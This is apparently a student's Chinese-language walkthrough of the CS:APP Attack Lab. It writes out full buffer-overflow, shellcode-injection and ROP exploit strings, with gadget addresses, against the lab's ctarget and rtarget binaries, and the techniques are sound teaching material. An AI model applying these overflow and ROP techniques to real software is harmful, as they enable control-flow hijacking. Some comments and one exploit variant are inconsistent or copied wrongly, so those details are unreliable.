Attack Lab 參考手冊 一共六個文件 cookie.txt 一個8位16進位數,作為攻擊的特殊標誌符 farm.c 在ROP攻擊中作為gadgets的產生源 ctarget 代碼註入攻擊的目標文件 rtarget ROP攻擊的目標文件 hex2row 將16進位數轉化為攻擊字元,因為有些字元 ...
Attack Lab
一共六個文件
-
cookie.txt
一個8位16進位數,作為攻擊的特殊標誌符 -
farm.c
在ROP
攻擊中作為gadgets的產生源 -
ctarget
代碼註入攻擊的目標文件 -
rtarget ROP
攻擊的目標文件 -
hex2row
將16進位數轉化為攻擊字元,因為有些字元在屏幕上面無法輸入,所以輸入該字元的16進位數,自動轉化為該字元
Level 1
對於第一階段,我們並不需要進行代碼註入,我們需要做的就是劫持程式流,將函數的正常返回地址給重寫,將函數重定向到我們指定的特定函數。在這個階段中,我們要重定向到touch1
函數。
首先利用objdump -d ctarget > ctarget_asm
得到ctarget
的彙編代碼文件
0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp ; 擴展棧空間
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff callq 4017a8 <getbuf> ; test函數中調用了getbuf
401976: 89 c2 mov %eax,%edx ; edx = eax
401978: be 88 31 40 00 mov $0x403188,%esi
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt> ; 調用 printf 列印信息
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 retq
401991: 90 nop
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp ; 擴展棧空間40位元組 分配了四十個位元組的棧幀
4017ac: 48 89 e7 mov %rsp,%rdi ; rdi = rsp
4017af: e8 8c 02 00 00 callq 401a40 <Gets> ; 調用Gets函數 rdi為該函數的第一個參數
4017b4: b8 01 00 00 00 mov $0x1,%eax ; eax = 1 函數返回1
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
00000000004017c0 <touch1>: ; touch1的返回地址為0x4017c0
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
touch1
的地址為0x4017c0
,這裡我們選擇將輸入的數據寫到ctarget1.txt
文件中,用hex2raw
來生成位元組碼,
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 先用垃圾數據覆蓋40個位元組的棧空間
c0 17 40 00 00 00 00 00 最後填入touch1的地址來覆蓋getbuf()函數的返回地址 註意x86_64是小端序存儲
執行命令./hex2raw < ctarget1.txt | ./ctarget -q
./hex2raw < ctarget01.txt
是利用hex2raw
工具將我們的輸入看作位元組級的十六進位表示進行轉化,用來生成攻擊字元串|
表示管道,將轉化後的輸入文件作為ctarget
的輸入參數- 由於執行程式會預設連接
CMU
的伺服器,-q
表示取消這一連接
可以看到第一關就通過了:
Level 2
第二階段,我們需要做的就是在輸入字元串中註入一小段代碼。其實整體的流程還是getbuf
中輸入字元,然後攔截程式流,跳轉到調用touch2
函數。首先,我們先查看一遍touch2
函數所做事情:level2
需要調用的touch2
函數有一個unsighed
型的參數,而這個參數就是lab提供的cookie。所以,這次我們在ret
到touch2
之前,需要先把cookie放在寄存器%rdi
中(第一個參數通過%rdi
傳遞)。
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 callq 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 callq 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
void touch2(unsigned val){
vlevel = 2;
if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
- 將正常的返回地址設置為你註入代碼的地址,本次註入直接在棧頂註入,所以即返回地址設置為
%rsp
的地址 - 將
cookie
值移入到%rdi
,%rdi
是函數調用的第一個參數 - 獲取
touch2
的起始地址 - 想要調用
touch2
,而又不能直接使用call
,jmp
等指令,所以只能使用ret
改變當前指令寄存器的指向地址。ret
是從棧上彈出返回地址,所以在此之前必須先將touch2
的地址壓棧
註意此程式gdb
的使用,不能直接gdb ctarget
,需要先輸入gdb
,然後利用file ctarget
打開對應的文件,或者gdb ctarget
,然後下斷點b getbuf
,然後輸入run -q
首先將我們要註入的指令寫在level2_exp.s
中,0x59b997fa
就是cookie.txt
中的值
movq $0x59b997fa, %rdi
pushq $0x4017ec
ret
然後將.s
文件轉換成電腦可執行的指令系列gcc -c level2_exp.s
,查看level2_exp.o
文件的反彙編
level2_exp.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec push指令先sub 8, %rsp 然後 movq $0x4017ec, %rsp
c: c3 retq ret指令 pop %eip,此時rsp存儲的就是touch2的地址,就跳轉到了touch2
將對應的機器指令寫在level2_exp.txt
中,這裡解釋一下,push
指令後跟寄存器,表示將寄存區的值存儲到rsp
指向的記憶體單元中,push imm
表示將立即數存放到rsp
中而不是它所指的記憶體單元。
push 1 相當於
mov
M[esp], 1 sub esp, 4 pushebp
相當於mov
M[esp],ebp
sub esp, 4
callfunc
相當於 push0x40117e
(eip
+硬編碼長度) push指令又會將esp - 4
然後我們需要獲取%rsp
的地址,為什麼要獲取%rsp
呢,因為此關我們是通過向棧中寫入我們註入指令的指令序列,在棧的開始位置為註入代碼的指令序列,然後填充滿至40個位元組,在接下來的8個位元組,也就是原來的返回地址,填充成註入代碼的起始地址,也就是%rsp
的地址,整個流程就是: getbuf => ret => 0x5561dc78 => mov $0x59b997fa, %rdi => ret => 0x4017ec
。
rsp
保存的是test
棧幀的返回地址,上面是高地址所以我們要註入的指令如下,註意小端序,
48 c7 c7 fa 97 b9 59 68 ec 17
40 00 c3 00 00 00 00 00 00 00 前面的位元組時我們註入的 之後用垃圾數據填充棧中剩餘的位元組
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 40位元組 4 * 10
78 dc 61 55 00 00 00 00 00 00 0x5561dc78 即為我們要返回的我們註入的位元組的地址 即執行 sub rsp,0x28後的結果
最後執行./hex2raw < level2_exp.txt | ./ctarget -q
即可通過level2
Level 3
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff callq 40184c <hexmatch> # 調用了 hexmatch
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d <touch3+0x43> # 如果不匹配的話 跳轉到 0x40193d
40191a: 48 89 da mov %rbx,%rdx
40191d: be 38 31 40 00 mov $0x403138,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
40192c: e8 bf f4 ff ff callq 400df0 <__printf_chk@plt>
401931: bf 03 00 00 00 mov $0x3,%edi
401936: e8 52 03 00 00 callq 401c8d <validate>
40193b: eb 21 jmp 40195e <touch3+0x64>
40193d: 48 89 da mov %rbx,%rdx
401940: be 60 31 40 00 mov $0x403160,%esi
401945: bf 01 00 00 00 mov $0x1,%edi
40194a: b8 00 00 00 00 mov $0x0,%eax
40194f: e8 9c f4 ff ff callq 400df0 <__printf_chk@plt>
401954: bf 03 00 00 00 mov $0x3,%edi
401959: e8 f1 03 00 00 callq 401d4f <fail>
40195e: bf 00 00 00 00 mov $0x0,%edi
401963: e8 d8 f4 ff ff callq 400e40 <exit@plt>
void touch3(char *sval){
vlevel = 3;
if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
000000000040184c <hexmatch>:
40184c: 41 54 push %r12
40184e: 55 push %rbp
40184f: 53 push %rbx
401850: 48 83 c4 80 add $0xffffffffffffff80,%rsp # 其實是-0x80的補碼 相當於開闢了128位元組空間
401854: 41 89 fc mov %edi,%r12d
401857: 48 89 f5 mov %rsi,%rbp
40185a: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
401861: 00 00
401863: 48 89 44 24 78 mov %rax,0x78(%rsp)
401868: 31 c0 xor %eax,%eax
40186a: e8 41 f5 ff ff callq 400db0 <random@plt>
40186f: 48 89 c1 mov %rax,%rcx
401872: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx
401879: 0a d7 a3
40187c: 48 f7 ea imul %rdx
40187f: 48 01 ca add %rcx,%rdx
401882: 48 c1 fa 06 sar $0x6,%rdx
401886: 48 89 c8 mov %rcx,%rax
401889: 48 c1 f8 3f sar $0x3f,%rax
40188d: 48 29 c2 sub %rax,%rdx
401890: 48 8d 04 92 lea (%rdx,%rdx,4),%rax
401894: 48 8d 04 80 lea (%rax,%rax,4),%rax
401898: 48 c1 e0 02 shl $0x2,%rax
40189c: 48 29 c1 sub %rax,%rcx
40189f: 48 8d 1c 0c lea (%rsp,%rcx,1),%rbx
4018a3: 45 89 e0 mov %r12d,%r8d
4018a6: b9 e2 30 40 00 mov $0x4030e2,%ecx
4018ab: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx
4018b2: be 01 00 00 00 mov $0x1,%esi
4018b7: 48 89 df mov %rbx,%rdi
4018ba: b8 00 00 00 00 mov $0x0,%eax
4018bf: e8 ac f5 ff ff callq 400e70 <__sprintf_chk@plt>
4018c4: ba 09 00 00 00 mov $0x9,%edx
4018c9: 48 89 de mov %rbx,%rsi
4018cc: 48 89 ef mov %rbp,%rdi
4018cf: e8 cc f3 ff ff callq 400ca0 <strncmp@plt> # 調用 strncmp 函數比較字元串
4018d4: 85 c0 test %eax,%eax
4018d6: 0f 94 c0 sete %al
4018d9: 0f b6 c0 movzbl %al,%eax
4018dc: 48 8b 74 24 78 mov 0x78(%rsp),%rsi
4018e1: 64 48 33 34 25 28 00 xor %fs:0x28,%rsi
4018e8: 00 00
4018ea: 74 05 je 4018f1 <hexmatch+0xa5>
4018ec: e8 ef f3 ff ff callq 400ce0 <__stack_chk_fail@plt>
4018f1: 48 83 ec 80 sub $0xffffffffffffff80,%rsp # 這裡相當於將 rsp減去了一個數
4018f5: 5b pop %rbx
4018f6: 5d pop %rbp
4018f7: 41 5c pop %r12
4018f9: c3 retq
int hexmatch(unsigned val, char *sval){
char cbuf[110]; //
char *s = cbuf + random() % 100; // 這句代碼說明瞭 s 的位置是隨機的 所以我們不應該把我們輸入的shellcode放在hexmatch的棧幀中,應該將其放在父棧幀中,也就是test棧幀
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
和Level 2 一樣touch3
也需要傳入cookie
但是要求以字元串的形式傳入。和Level 2的區別是touch3
的參數是cookie
的字元串地址, 寄存器%rdi
存儲cookie
字元串的地址。所以我們還需要將Cookie
的內容存到指定的記憶體地址,字元串存到記憶體中都是以ASCII碼形式存儲的,所以需要將Cookie的值0x59b997fa
轉為ASCII
Some Advice
-
在C語言中字元串是以
\0
結尾,所以在字元串序列的結尾是一個位元組0 -
man ascii
可以用來查看每個字元的16進位表示 -
當調用
hexmatch
和strncmp
時,他們會把數據壓入到棧中,有可能會覆蓋getbuf
棧幀的數據,所以傳進去字元串的位置必須小心謹慎。 -
對於傳進去字元串的位置,如果放在
getbuf
棧中,由於char *s = cbuf + random() % 100;
,s
的位置是隨機的,且hexmatch
函數申請了0x80
位元組的棧空間,所以之前留在getbuf
中的數據,則有可能被hexmatch
所重寫,所以放在getbuf
中並不安全。為了安全起見,我們把字元串放在getbuf
的父棧幀中,放在不被getbuf
影響的棧幀中,也就是test
棧幀中。
解題思路:
-
將
cookie
字元串轉化為16進位35 39 62 39 39 37 66 61 00
,末尾是\0
-
將字元串的地址傳送到
%rdi
中,但是字元串地址怎麼確定呢?首先可以看到getbuf
中沒有執行sub rsp, 0x28
時rsp=0x5561dca0
,我們要將字元串存儲到rsp + 8
的位置,存儲到父棧幀中test的棧幀如下,就是
ca8
,可以把字元串的地址放在test的棧幀中。 -
和第二階段一樣,想要調用
touch3
函數,則先將touch3
函數的地址壓棧,然後調用ret
指令。
movq $0x5561dca8, %rdi ; 字元串地址 這裡不能寫 cookie對應的16進位表示了
pushq $4018fa ; touch3 地址
ret
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
上面三條指令的序列為 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3
所以我們構造的指令位元組序列為 將字元串的位元組碼存放在getbuf的父棧幀中 從低地址向高地址覆蓋 覆蓋完返回地址後 再+8填入字元串
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00 # 攻擊的指令位元組碼
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 # 到這裡就是 getbuf 的rsp了
78 dc 61 55 00 00 00 00 # 註入指令首地址 ret 的返回地址
35 39 62 39 39 37 66 61 00 # 攻擊的指令中給出的字元串的地址為 rsp + 0x8 的位置 需要剛好在這裡
最後驗證結果,./hex2raw < level3_exp.txt | ./ctarget -q
Return Oriented Programming
緩衝區溢出攻擊的普遍發生給電腦系統造成了許多麻煩。現代的編譯器和操作系統實現了許多機制,以避免遭受這樣的攻擊,限制入侵者通過緩衝區溢出攻擊獲得系統控制的方式。
Performing code-injection attacks on program RTARGET is much more difficult than it is for CTARGET, because it uses two techniques to thwart such attacks:
- It uses randomization so that the stack positions differ from one run to another. This makes it impossible to determine where your injected code will be located. 開啟了PIE 保護(棧隨機化)
- It marks the section of memory holding the stack as nonexecutable, so even if you could set the program counter to the start of your injected code, the program would fail with a segmentation fault. 開啟了
NX
保護(棧中數據不可執行) - 此外,還有一種棧保護,如果棧中開啟Canary found,金絲雀值,在棧返回的地址前面加入一段固定數據,棧返回時會檢查該數據是否改變。那麼就不能用直接用溢出的方法覆蓋棧中返回地址,而且要通過改寫指針與局部變數、leak canary、overwrite canary的方法來繞過
The strategy with ROP is to identify byte sequences within an existing program that consist of one or more instructions followed by the instruction ret. Such a segment is referred to as a gadget
ROP
其實就是利用已存在的代碼執行出我們想要的效果,如下圖所示,分為多個gadget
,每一個gadget
都是一段指令序列,最後以ret指令(0xc3
)結尾,多個gadget
中的指令形成一條利用鏈,一個gadget
可以利用編譯器生成的對應於彙編語言的代碼,事實上,可能會有很多有用的gadgets
,但是還不足以實現一些重要的操作,比如正常的指令序列是不會在ret
指令前出現pop %edi
指令的。幸運的是,在一個面向位元組的指令集,比如x86-64
,通常可以通過從指令位元組序指令的其他部分提取出我們想要的指令。
下麵舉個例子來詳細說明ROP
與之前的Buffer overflow
有什麼區別,我們不關心棧地址在哪,只需要看有沒有可以利用的指令
我們可以在程式的彙編代碼中找到這樣的代碼:
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq
這段代碼的本意是
void setval_210(unsigned *p)
{
*p = 3347663060U;
}
這樣一個函數,但是通過觀察我們可以發現,彙編代碼的最後部分:48 89 c7 c3
又可以代表
movq %rax, %rdi
ret
這兩條指令(指令的編碼可以見講義中的附錄)。
第1行的movq
指令可以作為攻擊代碼的一部分來使用,那麼我們怎麼去執行這個代碼呢?我們知道這個函數的入口地址是0x400f15
,這個地址也是這條指令的地址。我們可以通過計算得出48 89 c7 c3
這條指令的首地址是0x400f18
,我們只要把這個地址存放在棧中,在執行ret
指令的時候就會跳轉到這個地址,執行48 89 c7 c3
編碼的指令。同時,我們可以註意到這個指令的最後是c3
編碼的是ret
指令,利用這一點,我們就可以把多個這樣的指令地址依次放在棧中,每次ret
之後就會去執行棧中存放的下一個地址指向的指令,只要合理地放置這些地址,我們就可以執行我們想要執行的命令從而達到攻擊的目的。
Level 2
For Phase 4, you will repeat the attack of Phase 2, but do so on program RTARGET using gadgets from your gadget farm. You can construct your solution using gadgets consisting of the following instruction types, and using only the first eight x86-64 registers (%rax–%rdi).
在這一階段中,我們其實是重覆代碼註入攻擊中第二階段的任務,劫持程式流,返回到touch2
函數。只不過這個我們要做的是ROP攻擊,這一階段我們無法再像上一階段中將指令序列放入到棧中,所以我們需要到現有的程式中,找到我們需要的指令序列。
下麵是一些常見指令的指令碼
- movq : The codes for these are shown in Figure
3A
. - popq : The codes for these are shown in Figure
3B
. - ret : This instruction is encoded by the single byte
0xc3
. - nop : This instruction (pronounced “no op,” which is short for “no operation”) is encoded by the single byte
0x90
. Its only effect is to cause the program counter to be incremented by 1
Some Advice
- All the gadgets you need can be found in the region of the code for
rtarget
demarcated(劃定) by the functions start_farm and mid_farm,所以需要用到的gadgets
都可以在rtarget
的start_farm
到mid_farm
之間找到 - You can do this attack with just two gadgets.
- When a gadget uses a popq instruction, it will pop data from the stack. As a result, your exploit string will contain a combination of gadget addresses and data.
一些常見指令對應的機器碼,movq
、popq
、movl
、nop(2 Bytes)
、
首先來回顧一下Level 2
中我們要做什麼,需要返回到touch2
函數中,不過這一次我們要做的是ROP
攻擊,不能直接將指令註入到棧中
void touch2(unsigned val){
vlevel = 2;
if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
對rtarget
程式做保護檢查,可以看到該程式開啟了多種保護,導致我們之前的方法顯然是不可行的
現在我們無法使用棧來存放代碼,但是我們仍可以設置棧中的內容。不能註入代碼去執行,我們還可以利用程式中原有的代碼,利用ret
指令跳轉的特性,去執行程式中已經存在的指令。考慮我們需要利用的指令,然後去尋找對應的gadget
,我們需要將Cookie的值存到rdi
中,多種方法可以解決,首先來看一種最容易想到的
一條指令就可以實現我們想實現的操作pop rdi
,當然我們需要保證pop
指令執行時rsp
中存儲的剛好是59b997fa
即Cookie的值
下麵我們要做的就是找到存放pop rdi
這一指令的地址,由上面的指令對應的機器碼,可以找到popq rdi
對應機器碼0x5f
,首先利用將rtarget
反彙編,,objdump -d rtarget > gadget
存放在farm.c
中,我們編譯後再反彙編得到彙編指令及其對應的地址,查找0x5f
402b14:>--41 5d >--pop %r13
402b16:>--41 5e >--pop %r14
402b18:>--41 5f >--pop %r15 ; 這裡找到了 5f 對應的即為 pop rdi 記錄下地址 402b18
402b1a:>--c3 >--retq
那麼我們要找的gadget
就有了,覆蓋棧中返回地址為402b19
即可,註意前面的41
沒用,首先原函數的返回地址變為了popq edi
的地址,然後就會執行pop rdi
指令,上一條指令執行完後rsp + 8
,我們只需要將59b997fa
填充到402b19
的下麵就可以了,此時就執行了popq rdi
操作,最後一行填充touch2
的地址4017ec
,具體如下
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
19 2b 40 00 00 00 00 00 ; popq rdi指令所在地址 這裡原本是 ret 現在相當於 ret 19 2b 40,相當於調用了0x402b19處指令
fa 97 b9 59 00 00 00 00 ; Cookie的值 pop 指令會使rsp+8,上面的地址最後也會有c3,
ec 17 40 00 00 00 00 00 ; touch2函數的地址
輸入./hex2raw -i ROP1.txt | ./ctarget -q
,結果如下,好像不夠完美,雖然調用了touch2
函數,但程式出現了段錯誤
第二種解法:我們需要的gadgets
popq %rax
movq %rax, %rdi
首先找popq eax
指令的機器碼,對應的是0x58
,下麵4019a7
處前面的指令沒用,我們需要填入的地址為4019ab
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
下一步movq %rax, %rdi
的機器碼為48 89 c7
,找對應的指令所在地址,如下,對應指令起始地址為4019a2
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3
註意在popq rax
指令地址的下麵需要填充上Cookie的值,然後在movq %rax, %rdi
指令地址的下麵填充touch2
函數的地址
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00 ; popq %rax 這裡原本是 ret 現在相當於 ret 19 2b 40,相當於調用了0x402b19處指令
fa 97 b9 59 00 00 00 00 ; Cookie的值 上面的指令執行完後 rsp+8 指向現在的地址 然後 pop %rax相當於movq cookir,%rax
a2 19 40 00 00 00 00 00 ; movq %rax, %rdi pop 指令執行完後也會 rsp+8 且每個gadget最後都是以c3結尾的
ec 17 40 00 00 00 00 00 ; touch2地址
然後就可以看見PASS掉了
Level 3
在這一階段中,我們需要做的就是把字元串的起始地址,傳送到%rdi
,然後調用touch3
函數。
因為每次棧的位置是隨機的,所以無法直接用地址來索引字元串的起始地址,只能用棧頂地址 + 偏移量來索引字元串的起始地址。從farm
中我們可以獲取到這樣一個gadget
,相加操作只能對rsi
與rdi
進行,我們想得到棧頂地址 + 偏移,只能將棧頂內容存到rdi
中lea (%rdi,%rsi,1),%rax
,這樣就可以把字元串的首地址傳送到%rax
,將棧頂指針rsp
的值賦給rdi
,rsi
寄存器表示字元串的偏移量只要能夠讓%rdi和%rsi
其中一個保存%rsp
,另一個保存從stack中pop出來的偏移值,就可以表示Cookie存放的地址,然後把這個地址mov
到%rdi
就大功告成了。從%rax
並不能直接mov
到%rsi
,而只能通過%rax
->%rdx
->%rcx
->%rsi
來完成這個。
解題思路:
-
首先獲取到
%rsp
的地址,並且傳送到%rdi
-
其二獲取到字元串的偏移量值,並且傳送到
%rsi
-
lea (%rdi,%rsi,1),%rax
, 將字元串的首地址傳送到%rax
, 再傳送到%rdi
-
調用
touch3
函數 -
第一步:獲取到
%rsp
的地址,尋找gadget
為movq %rsp, %rax
,其對應的機器碼為48 89 e0
,
0000000000401a03 <addval_190>:
401a03:>--8d 87 41 48 89 e0 >--lea 0x1f76b7bf(%rdi),%eax ;目標gadget地址為0x401a06
401a09:>--c3 >--retq
+ 第二步:將`rax`的值傳送到`rdi`,暫存`rax`的值,找`gadget`為`movq %rax, %rdi`,機器碼為`48 89 c7`
```asm
00000000004019a0 <addval_273>:
4019a0:>--8d 87 48 89 c7 c3 >--lea 0x3c3876b8(%rdi),%eax ; 目標gadget地址為0x4019a2
4019a6:>--c3 >--retq
-
第三步:將偏移量的內容彈出到
rax
,即popq %rax
,對應機器碼58
,在這條指令下麵寫上偏移量48
00000000004019ca <getval_280>: 4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax ; 地址為0x4019cc 90為nop指令 4019cf: c3
-
第四步:
eax
的值存儲到edx
,movq %eax, %edx
,對應機器碼89 c2
,如果是rax
就是48 89 c2
00000000004019db <getval_481>: 4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax ; 4019dd 4019e0: c3
-
第五步:
edx
的值存儲到ecx
,對應機器碼89 d1
00000000004019f6 <getval_226>: 4019f6:>--b8 89 d1 48 c0 >--mov $0xc048d189,%eax ; 4019f7 4019fb:>--c3 >--retq---
-
第六步:將
ecx
寄存器的內容傳送到%esi
(ecx
寄存器存儲的就是偏移量),機器碼89 ce
00000000004019e8 <addval_113>: 4019e8:>--8d 87 89 ce 78 c9 >--lea -0x36873177(%rdi),%eax ; 4019ea 4019ee:>--c3 >--retq---
-
第七步,將棧頂 + 偏移量得到字元串的首地址傳送到
%rax
,gadget
地址為0x4019d6
00000000004019d6 <add_xy>: 4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax ; 0x4019d6 4019da: c3 retq
-
第八步:將字元串首地址
%rax
傳送到%rdi
,機器碼48 89 c7
00000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax ; 4019a2 4019a6: c3
整個棧結構如下
綜上所述,我們可以得到字元串首地址和返回地址之前隔了9條指令,所以偏移量為72個位元組,也就是0x48
,可以的到如下字元串的輸入
先將偏移量保存到rsi中,再保存rsp
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 # 前0x28個字元填充0x00
cc 19 40 00 00 00 00 00 # popq %rax
20 00 00 00 00 00 00 00 # 偏移量
42 1a 40 00 00 00 00 00 # movl %eax,%edx
69 1a 40 00 00 00 00 00 # movl %edx,%ecx
27 1a 40 00 00 00 00 00 # movl %ecx,%esi rsi為0x20
06 1a 40 00 00 00 00 00 # movq %rsp,%rax rax = rsp
c5 19 40 00 00 00 00 00 # movq %rax,%rdi
d6 19 40 00 00 00 00 00 # add_xy 指令 lea (%rdi,%rsi,1),%rax
c5 19 40 00 00 00 00 00 # movq %rax,%rdi
fa 18 40 00 00 00 00 00 # touch3地址
35 39 62 39 39 37 66 61 # 目標字元串
00 00 00 00 00 00 00 00
先保存rsp,再將偏移量保存到rsi中(eax-->edx-->ecx-->esi)
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 # 前0x28個字元填充0x00
06 1a 40 00 00 00 00 00 # movq %rsp, %rax 在這裡就保存了rsp的值 所以與上面的偏移不同
a2 19 40 00 00 00 00 00 # movq %rax, %rdi
cc 19 40 00 00 00 00 00 # popq %rax
48 00 00 00 00 00 00 00 # 偏移量 0x48 即 8*9=72個位元組 返回地址與Cookie首地址相差 9條指令
dd 19 40 00 00 00 00 00 # movq %eax, %edx 註意這裡是32位 嘗試rax,沒有movq rax,rdx的gadget
f7 19 40 00 00 00 00 00 # movq %edx, %ecx 401a70才可以通過 401a70 或者 401a34 但是4019f7不可以通過
ea 19 40 00 00 00 00 00 # movq %ecx, %esi
d6 19 40 00 00 00 00 00 # lea (%rdi,%rsi,1),%rax 將棧頂 + 偏移量得到字元串的首地址傳送給 rax
a2 19 40 00 00 00 00 00 # movq %rax, %rdi 傳入touch3中的參數 即Cookie字元串的首地址
fa 18 40 00 00 00 00 00 # touch3地址
35 39 62 39 39 37 66 61 00# 目標字元串
975 00000000004019f6 <getval_226>: FAIL
976 4019f6:>--b8 89 d1 48 c0 >--mov $0xc048d189,%eax
977 4019fb:>--c3 >--retq---
1011 0000000000401a33 <getval_159>: 可以PASS
1012 401a33:>--b8 89 d1 38 c9 >--mov $0xc938d189,%eax 1013 401a38:>--c3 >--retq---
1043 0000000000401a68 <getval_311>: FAIL
1044 401a68:>--b8 89 d1 08 db >--mov $0xdb08d189,%eax
1045 401a6d:>--c3 >--retq---
1047 0000000000401a6e <setval_167>: PASS
1048 401a6e:>--c7 07 89 d1 91 c3 >--movl $0xc391d189,(%rdi)
1049 401a74:>--c3 >--retq---
執行結果